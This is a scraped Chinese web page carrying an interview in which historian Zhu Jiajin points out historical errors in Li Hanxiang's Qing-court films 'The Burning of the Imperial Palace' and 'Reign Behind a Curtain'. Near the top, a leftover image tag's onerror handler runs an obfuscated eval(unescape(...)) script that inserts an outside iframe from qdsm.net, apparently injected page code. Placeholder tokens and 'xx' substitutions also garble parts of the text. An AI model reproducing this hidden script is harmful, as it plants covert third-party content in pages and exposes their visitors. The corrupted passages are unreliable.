史学家谈影片《火烧圆明园》《垂帘听政》

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

历史影片如何反映历史的真实？

电影《火烧圆明园》、《垂帘听政》公演以后，观众反响很大，觉得它们有自己的特色，也存在一些问题。为此，故宫博物院的史澄同志，走访了影片的顾问、明清史学家朱家 先生，就影片中的一些问题，进行了有益的探讨。下面摘登的是其中部分内容，对读者了解历史、增长知识不无裨益。

史问：这两部电影您看怎么样？

朱答：这两部电影的导演，李翰祥先生有灵敏的艺术想象力，又掌握熟练的电影艺术表现技巧，镜头很简捷而贯串。老演员和青年演员的表演都很好，能使观众看到人物深邃而复杂的内心世界。还有，运用实景拍摄，场面宏伟，也是这两部影片的特色。所以，我觉得这两部影片一定是到处能叫座的。

问：关于拍摄历史故事影片，“真实”二字应如何掌握它的分寸？

答：历史上的大事和大人物都不能有所变更，不过电影或话剧是文学艺术作品，不能照直只搬历史过程而没有文学艺术创作，所以情节有所创作是允许的，也是必要的。但所创作的情节，必须不违反当时的生活方式，也就是说不超出历史条件。

问：看了电影之后，您认为哪些情节是不符合历史真实的？

答：李翰祥先生还是比较虚心的。他让我修改分镜头剧本时，说{zh0}大刀阔斧的修改，认为不能用就不客气的打“×”字。我坦率地照办了。这两个剧本，他接受我的意见，删掉很多场。在现在保留的场面里，关于情节和语言的修改，也接受了不少。还有一些是我提了意见，也就是我认为不符合历史真实的地方，导演没有采纳。我觉得应该这样看，顾问不能代替导演，一部片子是由导演负全责的，导演有自己的见解，对于顾问的意见可以采纳，也可以不采纳。这是正常的现象。

问：您作为两部片子的顾问，我们想请您谈谈您的看法，这对今后拍摄历史故事片是有益的。

答：我可以分两方面来谈，一是我在分镜头剧本上提过意见，作过修改，而没有被采纳的问题；一是分镜头剧本上根本就没有，或从文字上看不出问题，而画面上却出现了，发生了问题的。我先谈{dy}方面的问题，大概有十一处：（注：本刊选载六条）

1.在召见大臣，商议守北京或退到热河的问题时，电影中懿贵妃突然闯出来，慷慨陈词，大义凛然，俨然是个主战派。其实当时召见的制度，除皇帝和被召见人之外，一概不能留在室内，更不许任何人闯进来。还有西太后和肃顺等顾命大臣的矛盾，是咸丰死后辅政和垂帘不能两立的表现。在懿贵妃时期，她与肃顺之间并无矛盾可言。而且一副主战派的形象，也过于美化了她。在历史上她不是这样的人物。

2.关于用被子包着妃嫔，由太监抬着往皇帝寝宫送，这是导演相信了野史的传说。实际的制度应该是每晚皇帝进膳时，譬如在养心殿，则各宫妃嫔们都进养心殿院的如意门到燕喜堂。递绿头签，是养心殿内殿首领太监把写着妃嫔名号的绿头签，摆在皇帝膳桌上，皇帝翻某妃的绿头签，首领太监就到燕喜堂叫某妃，再向其他妃嫔传散，于是其他妃嫔各回本宫，等于下班了。被叫的某妃，在这个晚上就和皇帝共同生活。只有皇后一人不参加妃嫔们到燕喜堂听叫的行列。皇后除自己居住的本宫以外，在养心殿范围内还有体顺堂也是皇后的寝室。皇帝如果要和皇后共同生活，就主动到体顺堂去，不能叫她。

3.关于咸丰和兰贵人在长春园相遇，听见唱歌，然后一个跑，一个追。这不仅当时不可能，而且也是电影中早已被人看厌的陈腐旧套。我删去了跑啊、追啊的画面，还有现代的艳阳天歌。可是，现在电影还是追、跑，唱现代的歌。

4.皇后和懿贵妃二人为咸丰缝被，这在当时的生活方式里，也是不可能出现的。

5.咸丰死的时候，肃顺用手在咸丰鼻子上试一试有没有呼吸，经过试验，知道已经死了，然后举哀。这个举动是不可能发生的。这一段在剧本上我删掉了肃顺的动作，改为太医请脉，由太医说“皇帝已经宾天”，然后举哀。

6.关于丽妃的情节，原来在分镜头剧本中是写她在暴风雨的一个夜里，跑到锤峰上跳下来自死。当时我迁就导演，保留了这段描写，但改为丽妃作一个恶梦，不是真事。因为{dy}，她当时不可能跑到山庄以外的锤峰上去。第二，事实她并未xx，同治时还尊为皇贵太妃，后来是善终的。现在，电影里出现把丽妃逮捕装坛子等情况，当然是没有的事。不过我所看的分镜头剧本上，没有这个情节，是后来加的。所以在看电影之前，我不知道。

问：除了上面十一处以外，是否就没问题了？例如丽妃跳舞，就是清代宫廷生活中不可能发生的事。您怎样看这个情节？

答：丽妃跳舞当然是不可能的事。清初继承明代的教坊司，宫中还有女乐，后来撤消了教坊司，xx废除了女乐。宫中一切戏曲、音乐、舞蹈都没有女人。

问：分镜头剧本上没有，而画面上出现了，发生了问题的还有哪些？

答：这大概也有十余处，我也分条谈谈：（注：原文十七条，本刊选七条）

1.在懿妃生儿子，丽妃生女儿时，太监向皇帝奏称“生了一位太子爷”，“生了一位公主”，这两句话，都是不对的。因为皇子在尚未被立为太子时，书面上称皇×子（中间是排行数字），口头上称×阿哥（前面是排行数字），内廷行走官员和太监称他们为×爷（前面是排行数字）。例如咸丰十一年七月，总管太监的记载上写着“万岁爷宾天，大爷立为皇太子”。这个“大爷”，指的就是后来的同治皇帝。在初生时可以说，生了一位阿哥。公主是封号，在未受封以前，只能称“格格”。

2.皇帝召见大臣，无论在某个宫殿，都是在暖阁或次间，不应象电影中几次出现的在明殿正中的宝座上。召见时，皇帝和大臣应穿同一类的冠服，如吉服，则君臣都是臣服。如果党常服冠。常服袍褂、或挂珠、或不挂珠，君臣也是一样。不可能出现大臣穿袍褂，而皇帝戴瓜皮帽的情况。

3.电影中几次出现宫女随着后妃们的车轿在地下跑路。按宫女随着后妃出门，都是坐车，不可能在地下跑。

4.电影中有桂良到恭王府去和恭王商量事情的镜头。桂良穿袍褂，恭王穿便服，戴瓜皮小帽，这是不对的。从前人家有客来，门房上来回事时，除了向主人说×××拜会之外，还要说明来客是穿官衣，还是便衣，主人和来客要一致，不论主客的地位谁高谁低都是这样。

5.电影中有一幕在承德普宁寺祈祷的场面，喇嘛很多，拍摄大佛像的几个角度选择的很适当，画面感染力很强，遗憾的是音响效果不对。这一幕是由和尚念经录的音，而普宁寺是喇嘛庙，不是和尚庙。

6.电影中杀肃顺一场，群众愤怒气氛的描写是不必要的，剧本情节肃顺是被害者，而此处百姓突然忿怒，令人不解，于情节有矛盾。肃顺除少数政敌以外，当时因国库空虚，曾一度停发八旗的犒赏，是肃顺奏准的，引起旗人对他有些不满是可能的。这与广大老百姓无关，老百姓无非是看热闹而已，对肃顺并无仇恨，况且中国老百姓也没有拿鸡蛋打人的习惯。一般思想还认为摔鸡蛋是暴殄天物，吃还不舍得，哪里舍得摔碎呢。

7.《火烧圆明园》的景中有《永乐大典》，按《永乐大典》，贮藏在皇城内，不在圆明园。

问：您在前面说过，历史故事片不能只照搬历史过程，在不超越历史条件的原则下有所创作是允许的，也是必要的。请您在本片内容中举例说明一下。

答：譬如我们从史料上知道，在和局破裂时，僧王逮巴夏礼解京，没有任何记载说僧王和巴夏礼摔跤，而且僧王也没有参加议和。但这一段摔跤情节，我觉得是可以允许的，并且在放映时还得到热烈的掌声，说明这个创作是观众批准的，欢迎的。这一段创作在写分镜头剧本时，李翰祥先生把这段读给我听，问我可以不可以，我表示可以。他当时是连说带演，旁边还有副导演王淑琰同志，也表示赞成。不过，传统的摔跤，没有啊啊的嚷，拍手的动作也是没有的。还有一个近年来相沿袭的错误，就是僧王准备摔跤时把辫子绕在脖子上。近年来，一些电影、电视剧、话剧，还有京剧《火烧望海楼》等，都有准备打架先把辫子绕在脖子上的动作。在生活中，这是{jd1}没有的。请设想，先绕上自己脖子，如果给对方揪住了，一把勒紧，岂不是给自己制造一个弱点吗？实际上，在有辫子的年代里，打架都是把辫子盘在头顶上，劳动时也是这样。